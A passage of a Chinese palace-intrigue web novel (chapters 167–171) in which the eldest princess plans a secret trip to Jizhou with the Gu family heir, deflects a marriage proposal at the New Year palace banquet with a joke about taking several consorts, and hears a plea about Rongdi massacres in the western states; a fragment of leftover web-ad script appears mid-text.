“既然有眼线监视，那为什么不为顾家作证，”白念愤愤不平道，“顾掌门作为一方侠士，皇上就任由奸佞陷害，对顾家不管不顾吗？”
167.迟到的正义
此话一出，众人皆惊，面面相觑。
“念念，放肆了。”白乾轻声喝止道。
白念一怔，这才意识到自己失言，当着长公主的面如此属实大不敬，于是忙向明珠请罪。明珠冲她摇头，示意无妨。
“顾家蒙冤，终究是大梁朝廷的失职。”明珠说道，“让身涉朝中内斗之人审理此案，没能还顾家一个公道。”
“当初，此案由大理寺卿曲晋元亲自到场审理，此人历来持身公正，也算是个正派人物。”白乾叹了口气，无奈道，“顾兄得知后，还曾稍稍安心，谁知……”
曲晋元生平断案无数，从无冤假错案，也不因权贵而徇私舞弊，因此在民间名声不错。
作为褚相门人，曲晋元虽出身低，却官运亨通，很快就凭借过人的本事，擢升至大理寺卿。倒也不算他投机取巧，毕竟在官场，不站队就意味着升迁无望，即便身负有才，无人举荐提拔，就只能一辈子做个碌碌无为的芝麻小官。
他在任十数年，无一劣迹，深得朝野上下敬畏，可最终，却成了顾家惨案的始作俑者。
明珠垂眸，沉思道，“顾家之祸，或早已埋下。”
镇国公身故后，北境无主将，正是趁虚而入的最佳时机，而作为后方补给的冀州亦是举足轻重。要拿下北境，第一步，便是冀州，夺了冀州北境不攻自破。这个道理，褚相明白，皇帝也明白。
冀州顾氏，就成了皇帝与褚相之间内斗的牺牲品。
否则，褚相势力在朝中盘踞多年，皇帝却能在顾家之案第二年后，手起刀落，将褚相势力斩落马下，可见当时蓄谋已久，而对冤情视若罔闻，说不定只为向褚相示弱，利于后来一举清除。
自古以来，良臣也会成为君主手中有待牺牲的工具，如顾平这般的仁人义士，放眼过去，也不过是岁月史书中的尘埃一隅。
或许，在天子眼中，他们原本就无关紧要。
而对于身涉其中的人，又是另一番凄惨光景，那些迟来的正义，也不是正义，只是真相罢了。
“顾家不在，其他人或多或少也要受到波及，”明珠问道，“现下冀州都还有哪些人掌管，白大叔可清楚？”
“了解一些，今年去冀州拜祭顾兄时，同他们一起喝过酒。”白乾说道，“如今冀州派系林立，有顾兄一辈儿的师门同胞，还有顾兄的弟子们，大大小小，也有三四个有名号的，顾家的生意现大多归拢在这些人手中。”
一谈及这些，白乾就不免恼怒，酒席宴上口口声声喊着，若是顾兄的孩子还在世，这些家业定要好好交还到孩子手上，一个个哭的情真意切，恨不得以命抵命，换顾家回来。
现如今真找到了，有些人就要翻脸不认账，不择手段阻挠。
“小谦，你放心，这口气白叔一定替你出了。”
“不，白叔，这件事我想自己做。”梅辛正色道，“他们为了阻止我回去，甘愿冒风险勾结三王，那有朝一日，这些人也可能成为殿下的敌人。”
冀州不需要顾久谦，顾家家祠被拆毁后又重建，里面立着他的牌位，作为顾久谦，他早已是死去之人。
可作为梅辛，他不能让冀州给殿下留下任何隐患，无论背后告密的人是谁，他都要找出来，替殿下扫除。
“你说的有道理。”白乾慎重道，“好，白叔我一定想办法助你回去。”
有白乾相助、王藏作证，冀州那边在梅辛真实身份上做不出什么文章，认祖归宗不愁。
冀州稳定至今，去年北境开战预先筹粮时，冀州也曾鼎力相助，未见得尽是些鸡鸣狗盗的不义之辈，否则顾平当年不会轻易将儿子托付出去，梅辛也不会顺利出逃，其中定是有人协助。
“白大叔，还有件事需拜托您。”明珠斟酌片刻，说道，“年后，我和梅辛一起回冀州，届时，还请白大叔替我隐瞒身份。”
此番并非要将冀州搅得天翻地覆，而是要找出那个背后使坏的家伙。冀州势力中若有人亲近三王，对她或是北境都将不利，她有必要亲自见一见冀州如今的当家人。
“殿下也要去冀州，还要微服私访？”白乾犹豫道，“这……妥当吗？”
“不如此，老鼠怎么敢探头。”
而且，冀州那地方，她也很感兴趣。倘若能借机打通冀州的商道，那月记就可再行壮大，开辟北境以南的广阔市场。
“既然殿下心意已决，白某自当竭力。”
回归冀州定于年后，京中不宜久留，白乾决定明日带女儿早早返回，今夜暂且安置在长公主府里。
入夜时分，明珠才回到自己房中，梅辛紧随其后，面露担忧。
“您不必去的，尤其还要隐瞒身份，冀州一行吉凶未卜，由属下前去就好，怎能再让您冒这么大险！”
“梅辛，冀州是你为我而回的，可我不能把你一个人丢在那里。”
明珠深知，梅辛并不是一个追名逐利的人，他回去，也并非想继承顾家家业，相反，他在那里失去了太多亲人，如何能轻易面对。
“有我陪着你，好叫我家梅辛出门在外有个伴不是。”明珠回头，笑道，“而且，必要时，我也会向他们挑明身份，好给你当靠山啊。”
“殿下……”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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梅辛抿着唇，眼中似有泪光。
“行了，长得人高马大的，怎么还学会哭鼻子了。”
许是家中遗传，梅辛如今长开了，五官硬朗，眉宇间有着几分英雄豪杰的江湖气，与竹临的冷冽截然不同。
素日梅辛懂得东西就多，见地、交际，人文典故也能信手拈来，怎么也不像是普通孩子，像稀罕如温泉，当初梅辛就一眼认出，她竟然都没起疑。
看着眼前越发高大的人，明珠忽而想到什么，问道，“欸，若按顾久谦的年纪算，你今年岂不是十八九了？”
梅辛摸了摸鼻尖，心虚道，“过完年，就十九了。”
“我就说，这两年你这个头猛地窜这么高，从北境回来就比竹临还高半头，合着是谎报年龄，白叫竹临难受。”
“可不能怨我，”梅辛耸肩，无辜道，“都是被翟聿王子说的话刺痛了。”
当初翟聿王子兴致勃勃地陪练完，还不忘评价竹临——“个子不高，耳力倒是强”，以至于很长一段时间，竹临看着比自己越长越高的梅辛，都忍不住皱眉。
“那除了年纪，不会还有什么事瞒着我吧。”
“没有了。”梅辛手作立誓状。
“当真？”明珠怀疑道，“不会你一回冀州，就跑出来什么未婚妻、青梅竹马，跟我要走你吧？”
“……”
见他忽然沉默，举起的手也缓缓收了回去，明珠一愣。
“还真有啊？”
“旧日之约，早已算不得数……”
“唉呦，那你可得跟人家姑娘好好说，实在不行，就跪下来谢罪，求人家饶恕你始乱终弃。”明珠拍了拍他的肩膀，煞有介事道。
“我——”
榻上传来翻动的声音，两人视线被吸引，才发现桑吉裹着被褥，目光哀怨地看向他们。
“我想喝梨汤。”
“身子怎么样了，还烧吗？”
明珠走上前，刚想量下温度，却见桑吉背过身去，身旁还放着熬煮好的梨汤，看样子像是没动过。
“怎么了，不是要喝梨汤吗？”明珠探头道，“今日你给的毒烟好见效，帮了大忙。”
“哦……”
梅辛一瞧，就知道那出德行是仗着生病卖乖，偏殿下还好声好气地同他说话，那小子心里指不定多得意。
“桑吉小弟怕是嗓子疼，才要喝梨汤。”梅辛将一旁的梨汤盛上，挡在明珠身前，坏笑道，“来，哥喂你。”
说着，人还往榻上挤，桑吉忍无可忍，一把掀开被子。
“狗屁小弟，我比你大！”
168.聚光灯下，宫宴开场
入夜，桑吉还躺在明珠房中，明珠顾及着病情也就由着他，梅辛可不惯着，卷起榻上的铺盖将人直接扛了出去。
“就你这点小伎俩，算了吧。”梅辛将人丢回去，嫌弃道，“若小兰萤还在，你怕是连殿下的门进不去，还由得你霸占卧榻。”
临走前，还不忘提醒。
“好心劝你句，别叫松芜他们知道你在殿下房中睡了一日，要不然小命不保。”
次日，天刚擦亮，京城内外进出的行人不少，临近年关，一些在京城谋生的人也陆续开始返乡，大包小包地装在板车上，留下深深地车辙印。
京郊，明珠等人送别白家父女，白乾的武器被三王府搜了去，明珠特地配了新的留给他们防身。
“真的不用我派人护送你们？”
“殿下放心，白某和小女行走江湖多年，保全自己的手段还是有的，人多反而惹人注目。”
“好吧。”明珠牵起白念的手，说道，“回去路上，一定要注意安全。”
“嗯！”白念从怀中掏出两枚平安符，说道，“此物是小女去庙里求的，为长公主殿下和……二皇子殿下祈福。”
明珠妥善收好，说道，“多谢你有心，二皇子那份我会找机会交给他，放心吧。”
伴着日升，两人身影渐远。
一旁，梅辛开口道，“殿下，白念是否好感二殿下？”
“当时三王意欲除掉白念，李凌霄舍命相救，还受了伤，有好感也是情理之中。”明珠看出了梅辛眼中的担忧，说道，“缘分之事，交由她自己定夺吧，我相信白念。”
“也是，那丫头从小就机灵，说句僭越的话，属下觉得她和殿下偶尔还挺像。”
不贪于浮华，讲情义，却又拎得清自己的感情。
“夸我机灵呢。”明珠笑道。
寒风侵袭，被隔绝在宫墙之外，爆竹声于风雪中发响，沿途京中各户张灯结彩，小孩子们换上新衣新鞋，牵着手在雪中玩闹，好似落入白糯米的糖葫芦，一串串喜气洋洋。
大梁打了胜仗，连年都过得辉煌。
今夜，又是宫宴。
新旧迭代，连坐席也是如此，齐家的代表除了齐侯夫人和世子，又多了齐行遥。
这个变化落在那群人精眼中，自然是另一种信号，齐侯家的世子不争气，将来齐家若指望不上他，家主之位恐怕名存实亡，迟早要退位让贤。
周围人虎视眈眈地盯着，齐行遥面不改色望着门口，等着那个身影出现。
“行遥姐姐，多年未见了，如今姐姐荣升郡主能随意进宫，以后可要多来找我玩，我不像长公主在外立府，成日待在宫里无聊的很。”
不远处款款走来一名女子，想来是宫里的哪位公主。
“您是？”
对方明显脸色掉了，按捺住烦躁，假笑道，“我是六公主李凌倩啊，莫不是大梁的公主，行遥姐姐只认长公主？”
李凌倩暗骂，自己为显亲民，特地放低了姿态来搭话，谁承想此人竟是个有眼无珠的。
“臣女粗陋，此前从未进宫，不知礼数还望六公主殿下见谅。”齐行遥告罪道。
“言重了，我并非怪罪姐姐。唉，想来姐姐这些年郁郁不得志，实在可惜，好在苦尽甘来，姐姐如今被委以重任，我是真心为姐姐高兴。”
对方故作亲昵地挨坐在自己身边，神情真切，仿佛一心为自己，看着这位喋喋不休的六公主，齐行遥并未多言。
“姐姐为人耿直，不像某些人弯弯绕，只是心思单纯是好，可别着了别人的道，被人利用还不自知。”
闻言，齐行遥皱起眉头，“此话何意。”
“姐姐新贵当红，京中皆言，建安郡主是由长公主一手提拔才身价飞升，我每每听到，都为姐姐不平，凭什么功劳都是长公主的，那将姐姐自己这些年的辛劳置于何地。”
殿内纷杂，嬉笑声、应酬社交声此起彼伏，齐行遥忽而觉得聒噪。
“这京中你我皆非势力嚣张之权贵，我们都是安守本分的纯良女子，心思不如那些人精明，却也有自己的气节，我怎能看着姐姐羊入虎口。”
见齐行遥不作声，像是把自己的话听了进去，李凌倩觉得时机成熟，一把拉起齐行遥的手。
“今日本殿下与行遥姐姐投契，多说了几句，倘若姐姐不弃，不如义结金兰可好？”
此人自说自话了半天，大殿之上，众目睽睽不宜摆脱，齐行遥只得默默抽回手，对方却不肯放开，比力气，齐行遥还没输过。
稍一用力，李凌倩就如风中蒲柳任人摆弄，偏她方才较劲，这会儿支撑不住，一整个人险些趴在地上。
“不了，多谢六公主好意。”
齐行遥自认委婉拒绝，对方却面露愠怒，颇为愤恨地瞪着她。
“你以为她是真心待你吗，不过就是利用你，你却还对她马首是瞻！”
“是否真心，行遥自有决断，不劳六公主费心。”
李凌倩刚想开口驳斥，殿外传来太监的喊声，众人视线瞬间被吸引过去。
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>“长公主殿下到——！”
“二皇子殿下到——！”
“董向阜将军到——！”
话音刚落，就见三个身影出现在大殿门口，那两位地位尊崇的皇子将军一左一右，中间赫然就是明珠长公主。
喧哗停了，整个大殿的年轻之辈，恐怕唯此三人得此瞩目。
“怎么每次都喊这么大阵仗……”明珠无奈道，“今年可别给我安排上座，真是怕了。”
“长姐放心，今年同臣弟坐在一起。”李凌霄笑道，“只是恐怕长姐难以如意，好不容易有机会得见，那些人可不管长姐坐在哪儿。”
“殿下如今想躲可晚了。”董向阜说道。
在目光汇聚中，三人径直往大殿深处走去。周围众人视线随之，窃窃私语。
“快看，董将军陪着长公主殿下呢，你们说，今年陛下会不会赐婚啊？”
“哼，你们是忘了她从前所作所为吗？”
“你这是什么话，浪子回头还金不换呢，更何况殿下从前也是率性所为，虽出格些，却也称得上是真性情。”
“就是，明珠殿下难不成还配不上董将军了，你可知当初北境将士的抚恤金，都是殿下的私产出的。”这位小姐如数家珍道，“而且，殿下在北境开办火油场，男子与女子同工同酬，北境女子也能挣钱养家，不比男子差！”
“好好的女子，干嘛要出去抛头露面的，还和男子一样务工，何苦劳累，在家相夫教子享清福不好吗？”一公子哥反驳道。
“你懂什么，男子能科举挣得功名利禄，女子生存之道本就窄小，所谓清福亦是授人以柄，殿下所为乃是义举！”
没一会儿，众人议论得热火朝天。
一旁的李凌倩看在眼里，不禁牙关紧咬，手里的帕子都要被绞烂。往日那个只会听指使的废物皇姐，如今摇身一变，竟成了所谓楷模榜样了。
旁人不清楚长公主从前为人，自己可清楚得很，那个窝囊草包见人唯唯诺诺，遇事不敢决断，当初若不是自己出言鼓舞，教她主动去和董家将军纠缠，对方怎可能对她垂青。
却和自己断了联系后，受尽父皇恩宠，如今成了万众瞩目的焦点，身边结交皆是权贵，叫她如何不恨！
“看到了吧，长公主素来只和对自己有用之人来往。”李凌倩忍不住嘲讽道，“你怕是还不够格，没见人家过去时，连一个眼神都不曾给。”
“既然如此，成有用之人即可。”
齐行遥起身，迈步朝明珠的方向走去。
169.不喝酒和小孩坐一桌
大殿内，灯火辉煌，赤金相间，布置得分外厚重。中央延伸出一张描金绣彩的红毯，东西两侧各有一列席位，其背后的屏风雕刻着出云游龙，在烛火下熠熠生辉。屏风外围放置着编钟、古琴等乐器，乐师在一旁抱着琵琶调试。
长公主殿下的席位位于皇位下首，二皇子李凌霄居次位，其余皇子按母妃品级依次排后。董向阜作为郡主之子，又世袭公爵，紧邻皇子席位，旁边的空位乃是三王及世子。
大梁无太后、皇后，惠妃掌管后宫诸事，代领皇后事宜，因此她的座位在皇位左侧，其众嫔妃居其下首，而后是公主、宗室女眷。
桌上，珐琅花瓶插有鲜花，高颈玉壶里盛着西域进贡的葡萄佳酿，鹿丹的各色乳酪拼盘置于碟中，明珠不拘礼地坐在软垫上，给自己倒了一杯果酒尝鲜。
“长姐，”李凌霄凑近道，“别还没开席就先醉了。”
“我酒量哪有那么差。”
真是不记教训，李凌霄默默叫侍从将她桌上的酒壶收走。
“给长公主换一壶葡萄汁。”
“是。”
“那我不如坐小孩那桌。”明珠抗议道。
“长姐怕是忘了，当初醉酒是如何招惹翟聿王子，招惹苏家小姐，还有……”
——招惹我。
李凌霄抿了抿唇，未将最后一句话说出口。明珠自知理亏，悻悻放下酒杯，给自己重倒了杯葡萄汁。
一杯下去，葡萄汁的甜腻蔓延，没有酒香醉人，唯余果物的甘甜。配有乳酪切片，用口腔温度化开，咸香温和，奶味十足。
不远处有人走来，明珠瞧见，朝那人挥了挥手。
“阿遥，方才怎么没看见你。”
齐行遥向两位殿下行礼后，回道，“六公主拉我说话。”
“李凌倩啊。”明珠若有所思道。
六公主李凌倩，为人心思重，却做事肤浅，什么坏心思就差写在脸上，若不是傻得缺心眼，怎会被这种人轻易唬住。
“她嘴碎，左不过说几句难听话，再过分也没有了，阿遥你别跟她计较。”
六公主生母宜贵人，出身不高，是皇帝潜邸中一个通房丫鬟，后来入宫为妃，也算是宫里的老人了。宜贵人膝下只有一个六公主，起初站位淑妃一党，褚相倒台，淑妃失势，她便又开始巴结惠妃，惠妃是何等骄傲之人，怎可能接受昔日背后贬损自己之人的投靠。
因此，这位墙头草在宫里颇受冷待，连带着六公主也不受重视，再加上李凌倩自己的性子浅薄，在宫里本就没什么人缘。
过去长公主无宠，身边唯有李凌倩抱团取暖，还算得上知心，偏偏此人是不怕姐妹过的苦，就怕姐妹开路虎的心态。
先不说那些个馊主意是真心还是假意，单就长公主病重时，李凌倩恨不得躲得越远越好，连一句问候都不曾叫人带来。后来见长公主痊愈，常常被皇帝传召出入御书房，她竟敢悄悄尾随，被值守的侍卫抓个正着，便一口咬定是长公主叫她来陪同。
明珠初来乍到，不明所以，自然就没顺着对方的意给台阶下，于是六公主当日回宫，便把两人从前之物撕毁丢在长公主宫外，惹得明珠一头雾水。在宫女的解释下，明珠才知道那些是长公主亲手所制赠与六公主的东西。
此后，两人便再无交集，偶尔几句，对方也是冷言冷语。
李凌倩私下找齐行遥说话，不过是挑拨离间属性发动，踩一捧一，那套流程明珠早已清楚，长公主宫里几乎每个宫人都被她拉拢过，不过从未得逞。
“殿下，就由着她？”
“阿遥你信她吗。”
“不信。”
明珠莞尔，“你看这殿中那些人。”
放眼望去，便能发现这大殿之中，有不少人往她们的方向侧目，见明珠对视过来，纷纷装作无意，侧目躲过，或是含羞，或是警惕，从他们的脸上，就能判断出方才说的是好话还是坏话。
起初，这里的人对长公主不屑一顾，如今，却有些靠对她评头论足，获得指点江山的高傲，以为自己有着遗世独立的清醒。
名声于外，不过是一时之气，吸入吐出，转瞬变幻。
“他们所想所言，我并不在意。”明珠支着下巴，歪头看向她，“只要阿遥你喜欢我就够了。”
闻言，齐行遥垂眸，耳廓微红。
胸腔中仿佛明光充盈，她蜷了蜷手心，想要抓住什么，许是一杯酒，或是一角衣袖，她说不清。
唯有建功立业的决心，更深一分。
今日她跨越大半个宫殿，才能抵达长公主殿下身边，若她如董向阜般地位，便可与殿下同行。
对方的神情收入眼底，李凌霄心中冷笑。
长姐待人他一向不敢苟同，若是存心利用，给足好处即可，何必说这些鬼话哄人，惹的人心躁动，觊觎那些不该属于自己的东西。
“听说，行遥表妹年后要赶赴南海了。”
齐行遥回过神，答道，“是，三月初出发。”
“想必表妹在南海人生地不熟，韦副统领家的长子——韦霆正在南海海防就职，到时候有任何事不懂，可向他请教。”
“是，多谢二殿下。”
“何必如此客气，这
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本就是我应尽之责，四伯与母妃是同胞兄妹，将来若有何事，表妹大可派人到宫中递话给我，不必拘礼。”
“二殿下好意，但臣女不敢僭越。”
见齐行遥始终保持着恭敬和疏离，李凌霄面色也冷淡了些许，本想扮个亲善表兄，可惜人家不买他的账。
“没关系的，阿遥有事跟我说就好。”明珠说道。
“嗯。”
李凌霄挑眉，就这么喜欢粘在长公主身边，好啊，很好。
“皇姐——”
忽然，一个鸡崽似的小家伙扑到明珠跟前，不巧被毯子绊倒，明珠忙伸手接到怀中，定睛一看，原来是五公主李凌萱。
“怎么跑这么急，磕到可怎么办？”
明珠刮了下对方的鼻尖，惹得小姑娘咯咯直乐。
“拜见皇姐、皇兄。”三皇子李凌泽姗姗来迟，忙说道，“萱儿，不得胡闹，还不快起来。”
“我不，我要和皇姐在一块儿！”李凌萱拨浪鼓似的摇着脑袋，抱着明珠不撒手，“薛姐姐都说我病好了，可以找皇姐玩的！”
李凌泽无奈，只好向明珠告罪道，“皇姐见谅，萱儿多年未能参加宫宴，这次听说皇姐也在，便闹着要来，我听医士说她身子转好，才答应带她来见皇姐。”
“没事，让她跟我坐一起吧。”明珠笑道。
“这怎么能行，”李凌泽看向妹妹，认真道，“出来前你答应好的，带你见皇姐，你就得乖乖听话，要不回宫还要喝苦药。”
“萱儿不要喝苦药……”李凌萱目光在哥哥和皇姐间，稚子心智的她，本能想要靠近喜欢的人，为难道，“就跟皇姐玩一会儿，小小一会儿，可以吗……”
妹妹眼巴巴地盯着自己，李凌泽也无可奈何，好在皇姐并不介意，他便和妹妹重新商量起来。
“那等宴会开始，你要跟侍女回席，要听话。”
“嗯！”李凌萱搂着明珠胳膊，急忙答应。
好不容易见到皇姐，李凌萱迫不及待挨坐在她身旁，自己新学了编辫子，一心想着给皇姐编一条好看的辫子。她掏出口袋里的梅花，一些挤扁了，一些散了，选了半天，才拿起一朵放在明珠发间。
见两人举止亲昵，齐行遥颇为羡慕，那一丝落寞未能逃过李凌霄的眼睛，他端起酒杯起身，凑近齐行遥身边。
俊朗的脸上含着笑意，语气轻柔，不知情的人看来，都要以为他是在说甜言蜜语。
“表妹不如先回，这里，没有你的位置。”
齐行遥拿过酒杯，一饮而尽，归还李凌霄。
“将来会有。”
170.长公主想开后宫
入夜时分，乐器交响奏鸣，恢弘大气，坐席间觥筹交错。
令嫔荣升令妃后，愈发深居简出，十三皇子和十四公主年纪小，素日只有奶娘带着，不总出门。今日宫宴令妃特地向惠妃告了假，说自己身子不适，其实大家心知肚明，令妃与长公主一向不对付，而长公主如今势强，令妃自然要避其锋芒。
宠妃不在，这宴席之上自然是惠妃最高，看着众嫔妃俯首帖耳，惠妃颇为受用，只是瞥见阶下坐着的二皇子，脸色又沉了下来。
不知从何时起，那孩子一双眼睛总爱粘在李凌月身上，虽曾坦言与长公主来往实属无奈，其意只为拉拢，可在惠妃看来，自己儿子未免太殷勤了些，叫她怎么看都不顺眼。
思及此，惠妃举起杯，向上位的皇帝敬酒。
“陛下，旧岁已除，长公主殿下也要二十有一了，陛下再过偏爱，也要为长公主的婚事做打算，否则岂不是辜负大好年华。”
惠妃声音不大，却在大殿中激起回响，此话一出，底下的说话声都低了几度，众人放下杯盏碗筷，纷纷侧耳，一张张脸上写满八卦。
按理来说，长公主殿下是早该成婚了。
长公主早过及笄之年，时至今日，又新立了府邸，京中流言纷传，长公主殿下和董家将军情投意合，只是不知为何宫里无人提及二人婚事。
要知道，大梁这位唯一的嫡长公主，过去虽不受宠，可地位摆在那里，她的婚事于国而言举重若轻，更别提以如今盛宠权势，又有谁能与之相配。
“公主还小，这么早谈婚论嫁做什么，再留几年，选个好的再说。”皇帝含糊道。
对于长公主婚事，皇帝态度一贯如此，能驳斥就驳斥，不便驳斥就闪烁其辞，轻轻带过，总之就是不同意。
可惜，惠妃显然不愿让他得逞。
“如今长公主已然立府，再不议亲，宫里其他公主的婚事也只能搁置，怕是不大妥当。”惠妃提议道，“倘如陛下不舍，不如先选婿订亲，待日后慢慢择个好日子成亲也不迟，总好过将公主们的婚事都耽误了，陛下您说呢。”
“这……”惠妃说的合情合理，皇帝为难地看向明珠，“明珠公主怎么想？”
公主们的婚事的确是难题，若她这个长公主未定，其他人都得往后排，即便明珠乐意独身一人，其他人却未必愿意。碍人前途，久而久之，终要积生怨怼。
明珠看向惠妃，见对方神情坦荡无疑，不像是要闹什么幺蛾子。
“行啊。”
一语落地，如同惊雷。
李凌霄手中的杯子轻颤，被缓缓放回桌上。
大殿内，众人交头接耳起来，更有甚者抻着脑袋眺望过来，势要见证此等非凡大事，也有不少人对长公主和少将军的流言故事信以为真，视线不断集中到董向阜身上。
三王眼觑着董向阜，冷哼一声。
而董向阜自始至终垂眸不语，在坐诸人没有谁比他更清楚长公主心意，彼时之言震耳发聩，他见证过她的决心，还有那声嘶力竭般的抗争，作为友人，他难以无视。
他懂得了，她要去争、去斗，就不会轻易将自己置于宅内，不会安心屈居人妻之位。
只是不知她此刻应下，之后又该如何面对，难不成真要先订亲、后悔婚，如果是她，说不定要做出更惊世骇俗之事。
这来自四面八方的炽热视线，明珠自然也感受到了，既然大家想看热闹，不如就再热闹一点。
她坦然道，“惠妃娘娘有好人选吗？”
闻听发问，惠妃一时语塞，对方所言如同自己居心不良，急于将公主嫁出去做人情似的。
自古儿女婚约，父母之命、媒妁之言，对方这般直愣愣反问自己，众目睽睽之下，连女儿家的体面都不顾。
“不知，陛下有何想法？”
惠妃又将问题抛给皇帝，皇帝一脸懵，心道刚才不是你主动提的吗，怎么又来问他的想法，他的想法是乖女嫁人还早着呢，哪儿轮得到外人说三道四。
还未想好措辞，就听阶下三王突然开口。
“陛下，如今会试在即，青年才俊众多，各个前途斐然，必有可堪与长公主相配之人，不如之后在新科进士中为公主挑一位驸马。”
如此提议，在外人看来，倒真像是为家中晚辈着想的叔叔所言。
而三王实非善念，一心想着，到时候大可在寒门子弟中选个毫无根基的做驸马，总好过与董家联姻，叫长公主今后更加有恃无恐。
“王爷说的有理，从新科进士择婿不失为良策。”惠妃难得与三王不计前嫌，附和道，“陛下以为呢？”
看着台上台下这两人一唱一和，转眼就要把自己打包送人，明珠无奈一笑。
“惠妃娘娘怎么不问我的想法，不是为我择婿吗？”
闻言，惠妃脸上笑意僵住，腹诽此人真是毫无羞耻之心，当着皇族宗亲的面，又不得不顺意，咬牙问道，“长公主有何想法呀？”
明珠考虑了片刻，回道，“我嘛，喜欢的类型多，年上年下都行，文人武士皆可，但人还是听话点好，不过不听话的也别有一番风味。”
这话越听越不妥，惠妃如坐针毡，
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此刻恨不得冲下去捂住这张嘴。
“依我看，既然王叔说新科进士才俊众多，惠妃娘娘又催的急，不如我多订几门亲，也不必拘于男女，长公主府容得下。”
“……”“……”“……”
众人惊掉下巴，大殿中寂静一片，回过神来，顿时沸腾炸开了锅。唯有董向阜，仿佛意料之中，淡定自酌。
“有违纲常！悖逆人伦！”
“苍天，长公主失德啊——！！”
一些上了年纪的老家伙们，闻听此言，像是被踩了尾巴，激昂慷慨，纷纷口诛笔伐。倒是王公小姐们，情绪相对稳定，喜忧参半，吃瓜多数。
“长公主殿下这是何意？若是如此，我们少将军可怎么办啊……”一位磕cp的小姑娘淡淡地碎了。
“不拘男女？！那，我是不是也能——”
“瞧瞧董将军，不愧是做正宫的气度雅量，这都能坐得住。”
再看席上的惠妃，已经一句话都说不出口了。
“荒唐——！”
憋了半天，惠妃才不可置信地瞪着她。
“你、你，荒唐至极！！”惠妃忙看向皇帝，恼怒道，“陛下，您听到她方才所言了吗？！”
皇帝无奈，将手中的筷子撂下，这大晚上他一口热乎菜都吃不着，这件事本没人提，她偏要提，提了她又说荒唐。
“好了好了，惠妃，公主同你玩笑呢，怎么还当真了。”
“婚姻大事，岂能儿戏？！”
“惠妃，朕知道你和三王是好意，但此事不是一时半刻能定夺的，还需从长计议。”皇帝脸上也流露出不耐，说道，“长公主的驸马朕亲自选，至于其他公主的婚事，你们若有人选，拟好名单交朕，朕会看着办。”
一句话，管好你自己。
“是……臣妾遵旨。”
眼见皇帝发了话，惠妃不得不收敛，却还未从方才的狂妄之言缓过神，一想到陛下的纵容态度，端起酒杯又郁闷撂下，恼火地瞥了眼明珠。
席位上，三王的脸色也像吃了苍蝇，长公主说话如此悖逆无状，明着打长辈的脸，真是无法无天。他纳闷地看向董向阜，心中所想不禁脱口而出。
“这你都能忍？”
董向阜方才听到三王所言，便猜出对方的用意，反问道，“不知王爷看中了哪家青年才俊，要与长公主殿下牵线？”
三王一噎，辩解道，“将军误会了，本王绝无此意。”
董向阜端起酒杯，敬道，“那就好，臣以为王爷如此殷勤，为长公主出谋划策，是有利可图。”
171.历史总是惊人的相似
人们推杯换盏，不少宗亲来贺她新府初立，明珠桌上的酒早就被李凌霄换成了果汁，却仍挡不住四周酒气弥漫，殿内地暖烧得又足，令人昏昏欲睡。
身侧亦是人群簇拥，李凌霄向来众星捧月，李凌煜在旁陪着宗亲们捧哏，一派其乐融融，不少旁支有女儿托付的人家，竞相上前宣传，转眼就定了元宵灯会游船宴。
“长公主殿下意下如何啊？”
“也邀我去？”
“殿下说的哪儿的话，家中女儿处处以您为榜样，您若肯赏脸，是妾身等荣幸，都是些年轻孩子，想必合得来。”
“最近事忙，若抽的出空，一定赏光。”
为免再有人来邀约，明珠和身后侍女耳语一番，取来斗篷，揣上袖套，全副武装走出殿内。
外面的风很凉，吹的鼻子发痒。
“阿嚏——！”
“殿下若冷，不如到廊下避风。”
身后传来声音，明珠回过头，是一张熟悉的面孔。
“裴元，今夜是你当值呀。”
“是。”
自就任殿前司以来，裴元便长留在京中，明珠在宫外立府后，二人竟再没碰过面，除了立府当日，裴元送了一幅日出东方的山水画卷作贺礼。
“如今在殿前还习惯吗？”
“陛下待人宽和，卑职感念陛下和殿下恩情，自当尽忠职守。”
“你如今在京任职，背井离乡，遇事尽管来找我，也好叫我有机会报答你当时的仗义援助。”
“殿下言重了。”裴元浅笑道。
此时，一股迎面风袭来，头上的斗篷被猛地掀开，明珠手缩在袖套里，分身乏术，一双手却先她一步将帽檐拉住。
明珠抬眸，正与裴元视线相撞，裴元忙避开视线。
“卑职唐突，望殿下见谅。”
“无妨，多谢。”
这动作似曾相识，好像在北境时，裴元就这样帮过她，还被路过的霍丘撞见。
“二位，这是？”
一旁，李凌煜正倚着柱子，抱着肩膀看热闹。
“……”
历史总是惊人的相似，看来她注定要和裴元因斗篷纠缠不清了，真是难为他一个黄花大小子了。
显然，李凌煜不会像霍丘那般装看不见。
“方才在殿中，皇姐说要多养几个赘婿，臣弟还以为是玩笑话，没想到皇姐还真是雷厉风行，臣弟由衷钦佩。”
“四皇子殿下，”裴元上前，拱手道，“是卑职以下犯上，冒犯长公主殿下，还望四殿下慎言，切莫辱没殿下清誉。”
见状，李凌煜笑道，“皇姐，这家伙人还挺好，就收了吧。”
明珠扫了他一眼，大冷天儿的，瞧他这看热闹的架势，方才不是跟在李凌霄身边陪着应酬吗，怎么这会儿又尾随她出来。
“李凌煜。”
被叫了大名，李凌煜抿了抿唇，不说话了。
“你怎么出来了，找我有事？”
“皇姐真是料事如神，臣弟甘拜下风。”李凌煜凑近，低语道，“有一事，想求皇姐。”
偏殿内，炭盆升起火苗。李凌煜谨慎察看四周，除了殿外执勤的禁军，屋内确认无疑，才坐回明珠对面。
明珠挨着炭盆，搓了搓手问道，“这么小心，到底想让我帮你什么？”
这人行事向来谨小慎微，虽说有时过于油嘴滑舌，却轻易不有求于人。
以往跟在李凌霄身边，从不见出格，即便是对无宠的长公主，私下依旧善意相待，却也处处秉行着万事留一线、日后好相见。可就是这样的人，背后却能与外族勾结，在天牢下毒，可见其心思深沉。
因此他所求，必不是什么易事。
“皇姐可知，戎狄西迁之事。”
“知道一些。”
戎狄本欲向西扩展疆域，碍于战事，不得不转移王帐回到库伦，与大梁和谈，以割让雁岭山一脉将翟渠换走，随后就启程继续西迁。
以戎狄之骁勇，即便与大梁交战中消耗了不少战力，但对付一些小部落还是绰绰有余，尤其经历战事，粮草不足，望梅止渴，则剥削更重。
“前些时日，母妃收到家书，戎狄西迁侵犯，西域边陲小国尽数沦陷，山北六国中山国与车师后国遭遇屠城，母妃闻听故国惨状，终日忧虑。”
明珠皱起眉头，“屠城？”
戎狄人素来暴力血腥，此前并非没有先例，他们不善经营城池，不懂兼收并蓄，每每战胜犹如蝗虫过境，野狼分食，不将粮草牛马抢掠殆尽誓不罢休。可屠城终究过于失人道，听之令人毛骨悚然。
